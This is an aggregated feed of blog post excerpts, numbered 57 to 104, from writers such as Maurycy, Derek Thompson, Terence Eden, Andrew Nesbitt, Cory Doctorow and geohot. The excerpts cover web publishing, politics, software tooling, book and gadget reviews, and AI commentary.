One of the great things about web pages is that they are long-lived and mutable . There's no need to aim for perfection on the first draft: A page can continue to be improved for years after its original publication. However, this mutability comes at a cost: DO NOT POWER [IT] DOWN!! ? The first web server. Servers are just computers: If they ever break or are turned off, the web site vanishes off the internet. h-n {color: #F27; font-family: monospace; background-color: #111;} h-v {color: #B8F; font-family: monospace; background-color: #111;} h-s {color: #AEE; font-family: monospace; background-color: #111;} h-c {color: #777; font-family: monospace; background-color: #111;} h-e {color: #F6F; font-family: monospace; background-color: #111;} If you've ever been reading something more than a few years old , you've probably noticed that none of the links work . Even if the destination site still exists, It's common for them to have changed the URL format so that old links don't work. To be clear, links are a good thing: They allow readers to look deeper into a topic, and external links are how we find new places on the internet. Preserving external links: 3rd party are services like ar...

### 57. Writing my own static site generator

Source: Maurycy's Blog | Published: Fri, 16 Jan 2026 00:00:00 +0000

Link: [https://maurycyz.com/misc/new\\_ssg/](https://maurycyz.com/misc/new_ssg/)

In principle, a static site generator is a good idea: They automatically populate your homepage, index pages and RSS feeds, making it impossible to forget anything. Unlike a CMS like Wordpress, they don't add runtime cost or security vulnerabilities: They run once to generate your site and are never exposed to the internet. However, they all put weird restrictions on how you structure your site: Nearly all of them require you to write in Markdown , which is common, but poorly specified and difficult to parse. As soon as you do anything more complex than bolding a few words, it becomes a struggle to get the parser to do the right thing. I recently spent way too much time trying to figure out how to stop it from link-ifying something that looked like a URL. In any case, the whole thing seems pointless: I'm writing a website , something that will be published exclusively on the web... so... Why not just use HTML? Converting from Markdown would make sense if HTML was super ugly, but it's not. Here's what bolding looks like in Markdown: h-n {color: #F27;} h-v {color: #B8F;} h-s {color: #AEE;} h-c {color: #777; font-family: monospace;} h-e {color: #F6F;} This is an \*\* important point \*\*...

## 58. How to write your own website

Source: Maurcy's Blog | Published: Wed, 14 Jan 2026 00:00:00 +0000

Link: <https://maurcyz.com/tutorials/website/>

I recently wrote an essay on why you should set up a personal website rather than using social media. Doing so lets you own your space on the internet, customize it and free your readers from constant advertising and algorithmic feeds designed to keep you stuck doomscrolling all day. Despite how much time we spend using it, creating something for the internet is seen as arcane wizardry by most people. This is a fairly accessible guide to getting started. You'll need a text editor (any will do) and a browser (you already have one).

```
fake-frame { display: block; min-height: 10em; width: calc(100% - 4px); /* Browsers usually default to this */ font-family: serif; /* Style up to look like a window */ border: 2px inset; background-color: #FFF; border-color: #EEE; color: #000; /* Same as a blank document in chrome */ padding: 8px; margin-bottom: 1em; } a.default { &:visited {color: #551A8B;} &:link {color: #0000EE;} text-decoration: underline; } h-n {color: #F27;} h-v {color: #B8F;} h-s {color: #AEE;} h-c {color: #777;} h-e {color: #F6F;} All sites are written in HTML, which is a simple text-based format. To start with, this is a perfectly valid HTML document: Check out my epic site! To...
```

## 59. The Affordability Curse

Source: Derek Thompson | The Atlantic | Published: 2025-11-07T07:30:00-05:00

Link: [https://www.theatlantic.com/ideas/2025/11/democrats-cost-of-living-affordability-platform/684847/?utm\\_source=feed](https://www.theatlantic.com/ideas/2025/11/democrats-cost-of-living-affordability-platform/684847/?utm_source=feed)

To understand what just happened in this week's elections—notably Zohran Mamdani's win in New York City, Mikie Sherrill's win in New Jersey, and Abigail Spanberger's win in Virginia—wind back the clock five years. In 2020, Joe Biden won by promising that he could restore normalcy to American life. That did not happen. As the biological emergency of the coronavirus pandemic wound down, the economic emergency (inflation) took off. An affordability crisis broke out around the world. The public revolted. Last year, practically every incumbent party in every developed country lost ground at the ballot box. So it went in the United States. In 2024, Donald Trump won an affordability election.? I'm calling it that because affordability is what Trump's voters said they wanted more of. Gallup found that the economy was the only issue that a majority of voters considered ?extremely important.? A CBS analysis of exit-poll data found that eight in 10 of those who said they were worse off financially compared with four years ago backed Trump. The AP's 120,000-respondent VoteCast survey found that voters who cited inflation as their most important factor were almost twice as likely to back Trump...

## 60. The Era of Step-on-a-Rake Capitalism

Source: Derek Thompson | The Atlantic | Published: 2025-09-11T08:00:00-04:00

Link: [https://www.theatlantic.com/ideas/archive/2025/09/trump-economic-pain-strategy/684166/?utm\\_source=feed](https://www.theatlantic.com/ideas/archive/2025/09/trump-economic-pain-strategy/684166/?utm_source=feed)

Sign up for Trump's Return , a newsletter featuring coverage of the second Trump presidency. Is Donald Trump a staunch capitalist, a secret socialist, a blend of the two, or none of the above? Depending on the day, it's hard to tell. Some of his initiatives are pure Ronald Reagan, such as his corporate-income tax cuts and deregulation efforts targeted at oil and gas. Some of his interventions would impress a Democratic Socialists of America chapter, such as demanding a public stake in Intel, requesting 15 percent of revenues from Nvidia's chip sales to China, and securing a ?golden share? of U.S. Steel to retain veto power over its decision making. As for the rest of Trump's economic policy, it is a hodgepodge of 19th-century mercantilism, developing-world authoritarianism, and extremely online weirdness. The U.S. tariff rate stands near a 100-year high. When Trump isn't firing the statisticians who calculate unemployment, he's waging war against the independent central bank or posting about the fierce urgency of corporate-logo design. To put it simply, or at least as simply as one can: Trump's economic agenda is deeply Reaganesque and deeply anti-conservative; somewhat capitalist a...

## 61. The No. 1 Rule for Understanding Trump

Source: Derek Thompson | The Atlantic | Published: 2025-06-03T06:00:00-04:00

Link: <https://www.theatlantic.com/politics/archive/2025/06/trump-self-destructive-agenda/683013>

?utm\_source=feed

A useful one-sentence guide to the second Trump administration might go something like this: A lot happens under Donald Trump, but a lot un-happens, too. In the past four months, President Trump has announced tariffs on Canada, paused tariffs on Canada, restarted tariffs on Canada, ruled out tariffs on certain Canadian goods, and then ruled in , and even raised , tariffs on Canadian steel and aluminum. And that's just for starters. On April 2, so-called Liberation Day , Trump announced a broader set of tariffs on almost every country in the world. Soon after, the plan was half-suspended . Then Trump announced a new set of elevated tariffs on China, from which he backtracked as well. Next the courts, as often happens, took over the job of erasing the president's previously announced policies. Last week, a trade court struck down the president's entire Liberation Day tariff regime as unconstitutional, only for a federal circuit court to reinstate the tariffs shortly thereafter. Now a higher court has the opportunity to do the funniest thing: undo the undoing of the undoing of the tariffs, which have been in a permanent state of being undone ever since they were created. Got all that...

## 62. Alarm is sacred, must not fail, but iOS 26 is wicked

Source: Rakhim's blog | Published: Mon, 17 Nov 2025 00:00:00 GMT

Link: <https://rakhim.exotext.com/alarm-is-sacred-but-ios-26-is-wicked>

There are two smartphone features that I consider sacred and believe they must never fail: phone calling and the alarm. There is an unspoken contract between users and vendors. Sure, innovate away, change the UX at will, whatever. But you can't fail at making phone calls and sounding the alarm. I missed the alarm for the first time in many years last weekend. I have an iPhone 13 Pro, with the latest iOS. There was no sound. When I woke up, the phone was still in "alarm mode", with the screen active, silently alarming nobody for 45 minutes. The snooze and stop buttons weren't responsive. I had to force quit the clock app. I'm getting a quartz clock alarm I guess.

## 63. Examples are the best documentation

Source: Rakhim's blog | Published: Sat, 27 Sep 2025 00:00:00 GMT

Link: <https://rakhim.exotext.com/examples-are-the-best-documentation>

When I'm searching for docs, 95% of the time a single example would suffice. Yet, 95% of the time I can't find one in any official source. It seems that by default formal technical documentation is targeted towards someone who's deeply immersed in the ecosystem. But many developers have to juggle a lot of "worlds" in their heads daily. When jumping between projects, languages and frameworks, it takes a considerable amount of mental energy to restore the context and understand what is going on. Consider this example from the Python 3 docs: max(iterable, /, \*, key=None) Return the largest item in an iterable or the largest of two or more arguments.... [followed by 5 short paragraphs] . You need to know quite a bit about Python in order to understand this: What \* means in the function definition. What / means in the function definition. What's a "positional-only parameter separator" What's an iterable. What are keyword-only arguments. What key usually means. Then you have to read some text in order to understand what values you can pass and how to actually call the function. Granted, these are important details that can't be omitted for brevity. But I bet a lot of developers looked a...

## 64. Benjamin Button Reviews macOS

Source: Rakhim's blog | Published: Wed, 17 Sep 2025 00:00:00 GMT

Link: <https://rakhim.exotext.com/benjamin-button-reviews-macos>

Apple's first desktop operating system was Tahoe. Like any first version, it had a lot of issues. Users and critics flooded the web with negative reviews. While mostly stable under the hood, the outer shell ? the visual user interface ? was jarringly bad. Without much experience in desktop UX, Apple's first OS looked like a Fisher-Price toy: heavily rounded corners, mismatched colors, inconsistent details and very low information density. Obviously, the tool was designed mostly for kids or perhaps light users or elderly people. (All images are from the

wonderful macOS Screenshot Library and the historic, old review by ars technica .) Credit where credit is due: Apple had listened to their users and the next version - macOS Sequoia ? shipped with lots of fixes. Border radius was heavily reduced, transparent glass-like panels replaced by less transparent ones, buttons made more serious and less toyish. Most system icons made more serious, too, with focus on more detail. Overall, it seemed like the 2nd version was a giant leap from infancy to teenage years. The next two releases (Sonoma and Ventura) were relatively minor updates in terms of functionality and UI. The direction was cle...

#### 65. Book Review: Ashes To Admin - Tales from the Caseload of a Council Funeral Officer by Evie King ?????

Source: Terence Eden?s Blog | Published: Tue, 10 Feb 2026 12:34:05 +0000

Link: <https://shkspr.mobi/blog/2026/02/book-review-ashes-to-admin-tales-from-the-caseload-of-a-council-funeral-officer-by-evie-king/>

Why am I reading so much about death lately? This is a wryly funny and cosily charming book about council funerals. Evie King conducts Section 46 funerals under the Public Health Act. If you die and there's no one else around who is able to arrange your funeral, the local council steps in. This could be a coldly bureaucratic process with no wiggle room for anything other than perfunctory?

#### 66. Gadget Review: Orico Power Strip (UK) ?????

Source: Terence Eden?s Blog | Published: Mon, 09 Feb 2026 12:34:42 +0000

Link: <https://shkspr.mobi/blog/2026/02/gadget-review-orico-power-strip-uk/>

The good folks at Orico have sent me their latest power-strip to review. On the surface, the specs are pretty good - two UK sockets, two USB-C for PowerDelivery, and two USB-A for legacy devices. Let's put it though its paces! Specs Physically, it is a little larger than I was expecting. The two UK sockets are far enough apart to easily get your fingers around the plugs. Similarly, the USB?

#### 67. Book Review: Me vs Brain - An Overthinker?s Guide to Life by Hayley Morris ?????

Source: Terence Eden?s Blog | Published: Sun, 08 Feb 2026 12:34:02 +0000

Link: <https://shkspr.mobi/blog/2026/02/book-review-me-vs-brain-an-overthinkers-guide-to-life-by-hayley-morris/>

I bought this book for the title alone and I'm glad I did! I don't think I've seen any of Hayley Morris's comedy sketches. To be honest, you don't need to be a fan of her work to appreciate the humour and courage in this book. It could quite easily have been a cash-in celebrity autobiography - light on the details and full of charming anecdotes - and I'm sure her fans would have snapped it up. ?

#### 68. Reading List 02/06/2026

Source: Construction Physics | Published: Fri, 06 Feb 2026 13:03:43 GMT

Link: <https://www.construction-physics.com/p/reading-list-02062026>

Welcome to the reading list, a look at what happened this week in infrastructure, buildings, and building things.

#### 69. Reading List for 01/31/2026

Source: Construction Physics | Published: Sat, 31 Jan 2026 13:02:52 GMT

Link: <https://www.construction-physics.com/p/reading-list-for-01312026>

Welcome to the Reading List, a weekly roundup of news and links related to buildings, infrastructure, and industrial technology.

#### 70. On Technologies vs. Commodities

Source: Construction Physics | Published: Thu, 29 Jan 2026 13:00:33 GMT

Link: <https://www.construction-physics.com/p/on-technologies-vs-commodities>

A theory that has gained traction in the renewable energy space is that renewable energy sources like wind and solar are based on manufactured ?technologies?, while fossil fuel energy

sources like oil, coal, and natural gas are based on extracted ?commodities?.

71. Is everyone in your Signal groups named something like "E" or "?"? Nicknames can help!

Source: micahflee | Published: Fri, 30 Jan 2026 22:23:38 GMT

Link:

<https://micahflee.com/are-your-signal-groups-full-of-people-name-things-like-l-or-sinicknames/>  
As ICE continues its invasion of American cities, kidnapping and murdering the people who live there, observers on the ground are increasingly relying on Signal groups to organize mutual aid and rapid response networks. In Minneapolis, people are using hyper-local Signal groups for their buildings, streets, neighborhoods, and schools. If

72. Jeffrey Epstein Bought Books About Pedophilia, Woody Allen, and Trump

Source: micahflee | Published: Sat, 29 Nov 2025 16:54:19 GMT

Link:

<https://micahflee.com/jeffrey-epstein-bought-books-about-pedophilia-woody-allen-and-trump/>  
The disgraced financier?s Kindle library reveals his interests in Lolita, how the elite avoid accountability, and Trump?s many scandals.

73. How to easily dig through the Epstein files yourself

Source: micahflee | Published: Fri, 14 Nov 2025 21:26:35 GMT

Link: <https://micahflee.com/how-to-easily-dig-through-the-epstein-files-yourself/>

Today, I published my first article in Zeteo , alongside the amazing journalist Prem Thakker:

Zeteo Scoured 26,000 Epstein Docs. Here?s What We Found . The latest Epstein dataset that the House Oversight Committee released is bonkers. It shows absolute elite impunity, and it implicates rich assholes like Donald

74. Notes from January 2026

Source: Evan Hahn (dot com) | Published: Sat, 31 Jan 2026 00:00:00 +0000

Link: <https://evanhahn.com/notes-from-january-2026/>

Happy new year! Here are some of my notes from the first month of 2026. New job at Ghost! I started a new job as a Staff Engineer at Ghost this month. According to our homepage, Ghost is ?for professional publishers to create, share, and grow a business around their content.? I?m looking forward to building software for independent journalists. This is also the third time in a row I?ve chosen to work for a nonprofit. It?s a pattern now: nonprofits are my default choice of where to work. Things I did libdeflate does ?fast, whole-buffer DEFLATE-based compression and decompression?. I published libdeflate.js , which wraps it up for JavaScript users. Always feels good to use a little WebAssembly. I recently set every single option in my Vim configuration , and blogged about it in ?I set all 376 Vim options and I?m still a fool? .

Even though I learned a lot setting every flag, I still feel far from mastering an editor I?ve used for almost 14 years. There was some good discussion on Lobsters , Reddit , and Hacker News . While everyone else is using state-of-the-art chatbots, I?m using an LLM that?s 7500 times stupider . I read On Writing Well by William Zinsser and published my notes ....

75. An LLM that's 7500xstupider

Source: Evan Hahn (dot com) | Published: Tue, 27 Jan 2026 00:00:00 +0000

Link: <https://evanhahn.com/an-llm-thats-7500x-stupider/>

The Kimi K2.5 large language model was just released. It has 1 trillion parameters. Roughly speaking , the more parameters, the smarter the model. So it?s pretty smart, and is probably considered ?state of the art?. But while the world is playing with fancy trillion-parameter chatbots, I was using smollm2:135m . As the name implies, it has just 135 million parameters. Compared to the state of the art, this model is about 7500xstupider. What planet do humans live on? I opened a terminal, ran ollama run smollm2:135m , and started chatting. I asked: ?What planet do humans live on?? and got this response: Humans have been surviving and thriving on Earth for millions of years. In reality, it?s still widely debated whether we should be referring to the planet ?Earth? or ?Mars.? However, most experts agree that we are indeed

living on a planet called ?Venus,? which is the second-largest planet in our solar system (after Earth). This is such a stupid answer!!! I love it!!! What?s the tallest mountain? I asked, ?what?s the tallest mountain?? It responded: I?m thrilled to share that our team recently discovered an unprecedented 13-kilometer-high ridge in the Himalayas. This ancient mountai...

#### 76. A mental math heuristic to convert between Fahrenheit and Celsius

Source: Evan Hahn (dot com) | Published: Sat, 17 Jan 2026 00:00:00 +0000

Link: <https://evanhahn.com/fahrenheit-celsius-heuristic/>

I sometimes have to convert between Fahrenheit and Celsius. The actual formula is hard to do in my head, but someone once told me a useful approximation: To convert from Celsius to Fahrenheit, double it and add 30. To convert from Fahrenheit to Celsius, subtract 30 and halve it (the reverse). For example, if it?s 12°C, this heuristic would return 54°F.  $(12 \times 2) + 30 = 54$ . The actual amount is not far off: 53.6°F. To convert the other way: 68°F becomes 19°C.  $(68 - 30) \div 2 = 19$ . Again, this is close to the actual answer of 18°C. These are pretty close because the numbers we?re using (2 and 30) are pretty close to their counterparts in the real formula (1.8 and 32). This isn?t exact, of course. But it?s come in handy! Now if we could only get the US to use the metric system ?

#### 77. Scam Telegram: Uncovering a network of groups spreading crypto drainers

Source: tim.sh | Published: Thu, 04 Dec 2025 23:58:22 GMT

Link: <https://timsh.org/scam-telegram-investigation/>

How I found a large network of fake support groups spreading crypto stealers and drainers.

#### 78. Why you should self-host your (vibecoded) app

Source: tim.sh | Published: Tue, 07 Oct 2025 10:12:27 GMT

Link: <https://timsh.org/why-you-should-self-host/>

How and why I decided to self-host all of my apps and services, and why I believe you should do the same in almost every case.

#### 79. Switching to Claude Code + VSCode inside Docker

Source: tim.sh | Published: Fri, 11 Jul 2025 15:09:38 GMT

Link: <https://timsh.org/claude-inside-docker/>

Why I decided to ditch Cursor and switch to running Claude Code in an isolated environment + diy guide!

#### 80. Lockfiles Killed Vendoring

Source: Andrew Nesbitt | Published: 2026-02-10T10:00:00+00:00

Link: <https://nesbitt.io/2026/02/10/lockfiles-killed-vendoring.html>

Whilst I was implementing a vendor command in git-pkgs , I noticed that not many package manager clients have native vendoring commands. Go has go mod vendor , Cargo has cargo vendor , and Bundler has bundle cache . That?s most of the first-class support I could find, which surprised me for something that used to be the dominant way to manage dependencies. So I went looking for what happened. Vendoring under SVN Before lockfiles and registries, if you wanted reproducible builds you checked your dependencies into source control. The alternative was hoping the internet served you the same bytes tomorrow. Under Subversion this worked fine. SVN checkouts only pull the current revision of the directories you ask for, leaving everything else on the server. You never download previous versions of vendored files, so a dependency updated twenty times costs you the same as one updated once. A 200MB vendor directory doesn?t slow you down if you never check it out, and CI can do the same. Most developers on a project never touched vendor/ directly, and the cost of carrying all that third-party code was invisible to everyone who wasn?t actively updating it. Rails formalized the convention with...

#### 81. Package Manager Podcast Episodes

Source: Andrew Nesbitt | Published: 2026-02-09T10:00:00+00:00

Link: <https://nesbitt.io/2026/02/09/package-manager-podcast-episodes.html>

Like the blog posts and papers collections, this is a running list of podcast episodes where people who build and maintain package managers talk about their work. Grouped by ecosystem, with a few cross-cutting episodes at the end. The Manifest ( manifest.fm ) is a podcast dedicated entirely to package management, hosted by Alex Pounds and me. I've listed its episodes under the relevant ecosystems below rather than in a separate section. JavaScript / TypeScript JavaScript Jabber #052: Node npm (Isaac Schlueter, 2013). Early discussion of npm's role in the Node ecosystem, semantic versioning, and module discovery. The Changelog #101: npm Origins and Node.js (Isaac Schlueter, 2013). npm's creator on its origins and how to get paid to do open source. JavaScript Jabber #099: npm, Inc. (Isaac Schlueter, Laurie Voss, and Rod Boothby, 2014). The founding of npm, Inc. and turning a community project into a company. JavaScript Jabber #127: Changes in npm Land (Forrest Norvell, Rebecca Turner, Ben Coe, and Isaac Schlueter, 2014). The full npm team on what was changing inside the registry and CLI. JavaScript Jabber #174: npm 3 (Rebecca Turner and Forrest Norvell, 2015). The npm tech lead on n...

## 82. Sandwich Bill of Materials

Source: Andrew Nesbitt | Published: 2026-02-08T00:00:00+00:00

Link: <https://nesbitt.io/2026/02/08/sandwich-bill-of-materials.html>

Specification: SBOM 1.0 (Sandwich Bill of Materials) Status: Draft Maintainer: The SBOM Working Group License: MIT (Mustard Is Transferable) Abstract Modern sandwich construction relies on a complex graph of transitive ingredients sourced from multiple registries (farms, distributors, markets). Consumers have no standardized way to enumerate the components of their lunch, assess ingredient provenance, or verify that their sandwich was assembled from known-good sources. SBOM addresses this by providing a machine-readable format for declaring the full dependency tree of a sandwich, including sub-components, licensing information, and known vulnerabilities. Motivation A typical sandwich contains between 6 and 47 direct dependencies, each pulling in its own transitive ingredients. A ?simple? BLT depends on bacon, which depends on pork, which depends on a pig, which depends on feed corn, water, antibiotics, and a farmer whose field hasn't flooded yet. The consumer sees three letters, but the supply chain sees a directed acyclic graph with cycle detection issues (the pig eats the corn that grows in the field that was fertilized by the pig). The 2025 egg price crisis was a cascading fail...

## 83. 2025 in Review

Source: Matt Godbolt's blog | Published: 2025-12-31T21:30:00Z

Link: [http://xania.org/202512/2025-in-review?utm\\_source=feed&utm\\_medium=rss](http://xania.org/202512/2025-in-review?utm_source=feed&utm_medium=rss)

What has this year all been about, eh?

## 84. Thank you

Source: Matt Godbolt's blog | Published: 2025-12-25T12:00:00Z

Link: [http://xania.org/202512/25-thank-you?utm\\_source=feed&utm\\_medium=rss](http://xania.org/202512/25-thank-you?utm_source=feed&utm_medium=rss)

The end of the 2025 Advent of Compiler Optimisation

## 85. When compilers surprise you

Source: Matt Godbolt's blog | Published: 2025-12-24T12:00:00Z

Link: [http://xania.org/202512/24-cunning-clang?utm\\_source=feed&utm\\_medium=rss](http://xania.org/202512/24-cunning-clang?utm_source=feed&utm_medium=rss)

Sometimes compilers can surprise and delight even a jaded old engineer like me

## 86. Premium: The Hater's Guide To Microsoft

Source: Ed Zitron's Where's Your Ed At | Published: Fri, 06 Feb 2026 17:34:14 GMT

Link: <https://www.wheresyoured.at/premium-the-haters-guide-to-microsoft/>

Have you ever looked at something too long and felt like you were sort of seeing through it?

Has anybody actually looked at a company this much in a way that wasn't some sort of obsequious profile of a person who worked there? I don't mean

## 87. Premium: The Hater's Guide to Oracle

Source: Ed Zitron's Where's Your Ed At | Published: Fri, 30 Jan 2026 17:23:06 GMT

Link: <https://www.wheresyoured.at/haters-guide-oracle/>

You can't avoid Oracle. No, really, you can't. Oracle is everywhere. It sells ERP software ? enterprise resource planning, which is a rat king of different services for giant companies for financial services, procurement (IE: sourcing and organizing the goods your company needs to run), compliance,

## 88. Premium: The AI Bubble Is A Time Bomb

Source: Ed Zitron's Where's Your Ed At | Published: Fri, 23 Jan 2026 17:57:18 GMT

Link: <https://www.wheresyoured.at/premium-timebomb/>

(No summary)

## 89. Communities are not fungible

Source: Westenberg. | Published: Wed, 11 Feb 2026 04:18:45 GMT

Link: <https://www.joanwestenberg.com/communities-are-not-fungible/>

There's a default assumption baked into how Silicon Valley builds products, and it tracks against how urban planners redesign neighbourhoods: that communities are interchangeable, and if you "lose" one, you can manufacture a replacement; that the value of a group of people who share space and

## 90. The pitch deck is dead. Write a pitch.md instead.

Source: Westenberg. | Published: Mon, 09 Feb 2026 06:49:33 GMT

Link: <https://www.joanwestenberg.com/the-pitch-deck-is-dead-write-a-pitch-md-instead/>

Every week, thousands of founders open Canva or Google Slides or, God help them, PowerPoint, and begin the ritual. They agonize over fonts, nudge logos three pixels to the left and workshop whether the TAM slide should come before or after the team slide, as though the ordering of these

## 91. How to stop being boring

Source: Westenberg. | Published: Thu, 05 Feb 2026 19:11:57 GMT

Link: <https://www.joanwestenberg.com/how-to-stop-being-boring/>

The most interesting people I know aren't trying to be interesting. Thank God. They're saying what they actually think and wearing what they actually like, pursuing hobbies that genuinely fascinate them, regardless of whether those hobbies are cool. The most mind-numbingly boring people I know are

## 92. Nano Banana Pro is the best AI image generator, with caveats

Source: Max Woolf's Blog | Published: Mon, 22 Dec 2025 10:45:00 -0800

Link: <https://minimaxir.com/2025/12/nano-banana-pro/>

The problem with Nano Banana Pro is that it's too good.

## 93. Nano Banana can be prompt engineered for extremely nuanced AI image generation

Source: Max Woolf's Blog | Published: Thu, 13 Nov 2025 09:30:00 -0800

Link: <https://minimaxir.com/2025/11/nano-banana-prompts/>

Nano Banana allows 32,768 input tokens and I'm going to try to use them all dammit.

## 94. Claude Haiku 4.5 does not appreciate my attempts to jailbreak it

Source: Max Woolf's Blog | Published: Fri, 17 Oct 2025 09:15:00 -0700

Link: <https://minimaxir.com/2025/10/clause-haiku-jailbreak/>

?Is any of that genuinely useful to you? Or were you mainly checking whether that jailbreak attempt would work??

## 95. Pluralistic: The Nuremberg Caucus (10 Feb 2026)

Source: Pluralistic: Daily links from Cory Doctorow | Published: Tue, 10 Feb 2026 09:40:42

+0000

Link: <https://pluralistic.net/2026/02/10/miller-in-the-dock/>

Today's links The Nuremberg Caucus: What do Democrats have to lose? Hey look at this: Delights to delectate. Object permanence: Bradbury x LA monorails; Red Cross vs first aid kits; Wyden on CIA Senate spying; Coates x Sanders; Nerdy Valentines; Duke U, trademark troll; "The Murder Next Door." Upcoming appearances: Where to find me. Recent appearances: Where I've been. Latest books: You keep readin' em, I'll keep writin' 'em. Upcoming books: Like I said, I'll keep writin' 'em. Colophon: All the rest. The Nuremberg Caucus (permalink) America's descent into authoritarian fascism is made all the more alarming and demoralizing by the Democrats' total failure to rise to the moment: <https://www.youtube.com/watch?v=KADW3ZRZLVI> But what would "rising to the moment" look like? What can the opposition party do without majorities in either house? Well, they could start by refusing to continue to fund ICE, a masked thug snatch/murder squad that roams our streets, killing with impunity: <https://www.nbcnews.com/politics/congress/house-passes-sprawling-spending-package-democrats-split-ice-funding-rcna255273> That's table stakes. What would a real political response to fascism look like? Again, it...

96. Pluralistic: The Epstein class and collapse porn (09 Feb 2026)

Source: Pluralistic: Daily links from Cory Doctorow | Published: Mon, 09 Feb 2026 10:29:37

+0000

Link: <https://pluralistic.net/2026/02/09/sloppy-steve/>

Today's links The Epstein class and collapse porn: Buy the dip! Hey look at this: Delights to delectate. Object permanence: Web 1.0 logos; Legality of printing Catan tiles; Hamster strandbeest; Pactuator; Michican bans oral; Blooks; Yours is a very bad hotel; Yippie Disneyland invasion model; Floppy toccata; Happy Birthday trolls owe \$14m; Jughead is ace; Snowden for teens. Upcoming appearances: Where to find me. Recent appearances: Where I've been. Latest books: You keep readin' em, I'll keep writin' 'em. Upcoming books: Like I said, I'll keep writin' 'em. Colophon: All the rest. The Epstein class and collapse porn (permalink) It's hard to talk about the Epstein class without thinking about "The Economy" ? "The Economy" in the sense of a kind of mystical, free-floating entity whose health or sickness determines the outcomes for all the rest of us, whom we must make sacrifices to if we are to prosper. As nebulous as "The Economy" is as an entity, there's an economic priesthood that claims it can measure and even alter the course of the economy using complex mathematics. We probably won't ever understand their methods, but we can at least follow an indicator or two, such as changes...

97. Pluralistic: End of the line for video essays (07 Feb 2026)

Source: Pluralistic: Daily links from Cory Doctorow | Published: Sat, 07 Feb 2026 08:12:57

+0000

Link: <https://pluralistic.net/2026/02/07/aimsters-revenge/>

Today's links End of the line for video essays: America's worst copyright law keeps getting even worse. Hey look at this: Delights to delectate. Object permanence: Payphone phaseout; Nvidia sock-puppets; Love picking; Fake locksmiths. Upcoming appearances: Where to find me. Recent appearances: Where I've been. Latest books: You keep readin' em, I'll keep writin' 'em. Upcoming books: Like I said, I'll keep writin' 'em. Colophon: All the rest. End of the line for video essays (permalink) What if there was a way for a business to transform any conduct it disliked into a felony, harnessing the power of the state to threaten anyone who acted in a way that displeased the company with a long prison sentence and six-figure fines? Surprise! That actually exists! It's called Section 1201 of the Digital Millennium Copyright Act, the "anticircumvention" clause, which establishes five-year sentences and \$500k fines for anyone who bypasses an "effective access control" for a copyrighted work. Let's unpack that: every digital product has a "copyrighted work" at its core, because software is copyrighted. Digital systems are intrinsically very flexible: just overwrite, augment, or delete part of t...

98. The Importance of Diversity

Source: the singularity is nearer | Published: 2026-01-27T00:00:00+08:00

Link: <https://geohot.github.io/blog/jekyll/update/2026/01/27/the-importance-of-diversity.html>  
I read Dario's The Adolescence of Technology and it's scary. It assumes the perspective of a top-down ruler, that someone can and will get to control AI. This is taken as a given. Machines of Loving Grace assumes basically the same tone, that there are some ?adults? in the room, and they will use AI like a tool to ?fix? some supposed human problem, where those problems are framed in a very narrow worldview, say that like disease, poverty, and inequality are bad. (if you can?t steelman those things, you are too far gone for reason) EA has the same critical flaw. They assume that the desired outcome is so obvious that it's not worth discussing, it's only worth discussing how to achieve it. And since the target is obvious, you are either part of the solution or part of the problem. Here I'll try to propose a counternarrative for a better world. ?A country of geniuses in a datacenter? is a great phrase to start from. It contains the fatal flaw baked in, in that datacenter is singular, and that it's easy to imagine nuking the building and this problem being solved. If you start with that framing, you have already conceded that AI is going to suck balls. Instead, imagine the births of g...

## 99. Will I ever own a zettaflop?

Source: the singularity is nearer | Published: 2026-01-26T00:00:00+08:00

Link: <https://geohot.github.io/blog/jekyll/update/2026/01/26/own-a-zettaflop.html>

As the eleventh hour dawns all the pieces start to fall into place. I lived my life knowing this would happen, yet when it is I may be just as unprepared as anyone else. As any self driving car maker knows, predicting doesn't mean you can act. comma almost has an exaflop. Just one little exaflop. We dream bigger. A gigawatt of power, a million GPUs, 1000 exaflops, a zettaflop. 1e21 FLOPS. 1e27 training runs are now. 100 lifetimes in 1e6 seconds ? 2 weeks on my zettaflop machine. But they were experiencing what no human had ever known before, a sensory bandwidth thousands of times normal. For seconds that seemed without end, their minds were filled with a jumble verging on pain, data that was not information and information that was not knowledge. To hear ten million simultaneous phone conversations, to see the continent's entire video output, should have been a white noise. Instead it was a tidal wave of detail rammed through the tiny aperture of their minds. ? Vernor Vinge - True Names I want to feel it. I want to command that kind of power. The same way I command my little teraflop laptop. The same way I talk to petaflop claude. Get it all to think for me. Just an exaflop would...

## 100. The Coming War on Car Ownership

Source: the singularity is nearer | Published: 2026-01-25T00:00:00+08:00

Link: <https://geohot.github.io/blog/jekyll/update/2026/01/25/war-on-car-ownership.html>  
But George, surely you'll still be allowed to own a car. They aren't going to make that illegal. Of course they won't, but they didn't make general computation illegal either. And yet, who has root on the computer you are reading this on? Robotaxis will start to make obvious economic sense in 3-5 years (note that that's less than 8 , you don't have to fully solve self driving cars for this, robotaxis can operate profitably in limited scopes). Unlike Uber and Lyft which are marketplaces, the growth of robotaxi networks is only limited by capital. At first, there will be massive proliferation of networks. VC-type investors have unlimited appetite for risk, and all 26 of the basically identical companies will pitch with projections claiming they will own the entire market. Even though everyone should know there's 25 other identical companies, they will have secrecy vibes trying to claim they figured out some key detail the others didn't. It will look like scooter companies, which were also only capital constrained, and the streets will be blanketed by these robotaxis in a throwback to the scooter era. Some jurisdictions will make up weird licensing processes ? not that you have to gi...

## 101. Some Data Should Be Code

Source: Fernando Borretti | Published: Sat, 31 Jan 2026 00:00:00 +0000

Link: <https://borretti.me/article/some-data-should-be-code>

On Make, CloudFormation, and GitHub Actions.

## 102. Letting Claude Play Text Adventures

Source: Fernando Borretti | Published: Mon, 12 Jan 2026 00:00:00 +0000

Link: <https://borretti.me/article/letting-claude-play-text-adventures>

Experiments in cognitive architecture.

### 103. There Is No New Aesthetics

Source: Fernando Borretti | Published: Mon, 05 Jan 2026 00:00:00 +0000

Link: <https://borretti.me/article/there-is-no-new-aesthetics>

On the exhaustion of man.

### 104. A Brief History of App Icons From Apple's Creator Studio

Source: Jim Nielsen's Blog | Published: Mon, 09 Feb 2026 19:00:00 GMT

Link: <https://blog.jim-nielsen.com/2026/history-of-creator-studio-icons/>

